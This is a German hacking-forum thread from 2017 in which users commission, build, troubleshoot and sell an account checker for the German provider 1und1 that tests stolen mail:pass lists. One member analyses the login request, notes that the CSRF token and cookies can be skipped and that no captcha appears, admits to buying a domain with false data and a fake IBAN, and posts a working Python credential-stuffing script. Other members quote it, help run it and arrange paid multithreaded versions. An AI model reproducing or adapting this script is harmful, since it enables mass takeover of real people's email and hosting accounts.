8 Antworten in diesem Thema

[dep0x]

Hallo ich suche jemanden der mir ein Account Checker für 1und1 coden kann.

Der Checker sollte meine Mail:Pass Listen (auch größere Listen 10k+) aufnehmen können.

 

Wie es aussieht wird doch kein Captcha verlangt und eine Socks-Funktion benötige ich auch nicht.

Ich benötige den Checker so schnell wie möglich und bin bereit 70€ in Bitcoins zu zahlen.

 

Gerne können wir hier (falls möglich) oder in anderen Foren über Treuhand handeln - bei bekannteren User sende ich das Geld auch zuerst.

 

Jabber Kontakt: vetos@exPloit.im

Bearbeitet von killer555, 09 January 2017 - 21:28 Uhr.

[Dean36]

habe mir vor 1-2 monaten eine für Sentry anfertigen lassen. teile die gerne gegen kleine gebühr!

[smc2014]

 

Gerne können wir hier (falls möglich) oder in anderen Foren über Treuhand handeln - bei bekannteren User sende ich das Geld auch zuerst.

 

 

Sollte auf ein anderes Forum "gehandelt" werden, möchte ich hier keinen Ripperreport sehen!

 

BR / LG

[pi^2]

Hab mir mal die Mühe gemacht (allerdings nicht auf diesem Forum):

 

 

Da mal jemand nach einem 1&1 Accountchecker gefragt hat (ich meine es war auf toolbase.bz) habe ich mir mal den Loginprozess von 1&1 angeschaut.
Der Login findet sich an vielen Stellen des CMS, primär allerdings unter

Please Login HERE or Register HERE to see this link!

.

Gleich beim ersten Seitenbesuch setzt das CMS eine Reihe von Cookies:

Set-Cookie: DPX=v1:4nRL3kZLqE:1Zb1QEaW:5878c248:es; Path=/; Expires=Fri, 13-Jan-17 12:04:19 GMT; HttpOnly
Set-Cookie: JSESSIONID=F929149E9C16EAB9E499BD98D9FFC931.TC1a; Path=/; Secure; HttpOnly
Set-Cookie: _PFXSSL_=true; Path=/


JSESSIONID gibt sofort den Aufschluss dass es sich bei dem CMS um eine J2EE Applikation handelt. Der mit "DPX" benannte Cookie gibt leider kaum Information her, scheint zum. nach webcookies.org hauptsächlich von 1und1 Webseiten (sowie amateur-fickerei.net?! :-D) genutzt zu werden

Please Login HERE or Register HERE to see this link!

. "PFXSSL" hat wohl was mit dem TLS-Layer zutun und keine große Auswirkung auf die Seite (beinhaltet auch nur einen boolschen Wert).

Das Relevante an den Cookies ist: Diese werden für den eigentlichen Loginvorgang garnicht benötigt, schickt man also den POST Request ohne cookie-header ab, erwiedert der Server einen set-cookie (auch nach erfolgreichem Login).

Der eigentliche login-request sieht nämlich so aus:

POST

Please Login HERE or Register HERE to see this link!

__lf=Login&__sendingdata=1&oaologin.fp=ae3d18d3dbf79a29efbcefd45992ddd0&oaologin.username=1234567&oaologin.password=passwort


Der Parameter "__lf" hat wohl irgendwas mit der Formularverarbeitung zutun und muss angegeben werden. "__sendingdata" auch. Das als "oaologin.fp" benannte CSRF-token findet sich im Source unter: "<input type="hidden" id="login-form-fp" name="oaologin.fp" value="ae3d18d3dbf79a29efbcefd45992ddd0">" wieder, der Clou: es muss nicht angeben werden ;-). Der Rest ist selbsterklärend, dabei besteht "oaologin.username" aus einem 7-stelligen integer.

Bei n := <= 10 requests, gab es keinerlei captcha-Abfragen oder sonstiges.
Damit ich das ganze mal ausprobieren konnte, habe ich mir schnell eine .website Domain für 1,08 € auf falsche Daten und eine selbstgenerierte IBAN bestellt. Amüsant dass das durchging.

Schlägt ein Login fehl, meldet die Seite:



(200 OK)
Was sich simpel als string "Haben Sie sich vertippt?" matchen lässt. Andernfalls folgt eine temporäre Weiterleitung (302 FOUND).
Das ganze muss man jetzt nur noch in einem python-script zusammenfassen, was die Tage folgen wird.

 

Daraus resultierend das Script:

#!/usr/bin/env python
import requests

for entry in open('mail-pass.txt'):
    login = entry.split(':')

    payload = {'__lf' : 'Login', '__sendingdata' : 1, 'oaologin.fp' : '', 'oaologin.username' : login[0], 'oaologin.password' : login[1]}
    r = requests.post("https://account.1und1.de", data = payload)

    if 'Haben Sie sich vertippt?' in r.text:
        print "[-] invalid"
    elif 'Guten Tag' in r.text:
        print "[+] %s valid" % login[0]

Script selbst erweitern und/oder bezahlen, dann patche ich mutli-threating etc. hinterher.

[dep0x]

Hab mir mal die Mühe gemacht (allerdings nicht auf diesem Forum):

 

 

Daraus resultierend das Script:

#!/usr/bin/env python
import requests

for entry in open('mail-pass.txt'):
    login = entry.split(':')

    payload = {'__lf' : 'Login', '__sendingdata' : 1, 'oaologin.fp' : '', 'oaologin.username' : login[0], 'oaologin.password' : login[1]}
    r = requests.post("https://account.1und1.de", data = payload)

    if 'Haben Sie sich vertippt?' in r.text:
        print "[-] invalid"
    elif 'Guten Tag' in r.text:
        print "[+] %s valid" % login[0]

Script selbst erweitern und/oder bezahlen, dann patche ich mutli-threating etc. hinterher.

 

Besten Dank der Herr - wie lautet aber nun der Befehl um mit dem Script zu arbeiten?

 

Ich habe 1und1.py ausgeührt jedoch kommt folgende Meldung:

 

Natürlich heisst meine Datei, worin die Mail:Pass enthalten sind mail-pass.txt - und diese Datei liegt im selben Pfad wie 1und1.py

Bearbeitet von killer555, 25 January 2017 - 13:08 Uhr.

[Unkiii]

Besten Dank der Herr - wie lautet aber nun der Befehl um mit dem Script zu arbeiten?

 

Ich habe 1und1.py ausgeührt jedoch kommt folgende Meldung:

 

Natürlich heisst meine Datei, worin die Mail:Pass enthalten sind mail-pass.txt - und diese Datei liegt im selben Pfad wie 1und1.py

 

 

"Script selbst erweitern und/oder bezahlen, dann patche ich mutli-threating etc. hinterher."

[pi^2]

Besten Dank der Herr - wie lautet aber nun der Befehl um mit dem Script zu arbeiten?

 

Ich habe 1und1.py ausgeührt jedoch kommt folgende Meldung:

 

Natürlich heisst meine Datei, worin die Mail:Pass enthalten sind mail-pass.txt - und diese Datei liegt im selben Pfad wie 1und1.py

 

da ist wohl das python-modul "requests" nicht installiert:

pip.exe install requests

[dep0x]

 

da ist wohl das python-modul "requests" nicht installiert:

pip.exe install requests

Kannst du mir bitte deine Jabber-Adresse per PN schicken? Würde dein Script kaufen, gerne mit Multithreading.

 

 

Ich habe dir bereits eine PN gesendet

[Born2Hack]

Hatte gerade eben kurz Zeit & habe für dich was auf die schnelle zusammengeklatscht.



SourceCode:

Please Login HERE or Register HERE to see this link!

VirusScan:

Please Login HERE or Register HERE to see this link!

DL:

Please Login HERE or Register HERE to see this link!

 

Das Ding ist nicht Multithreaded, sprich es läuft sehr langsam.
Wenn jemand Bock hat, kann das ja zu Ende bringen

 

 

Hybrid Link:

Please Login HERE or Register HERE to see this link!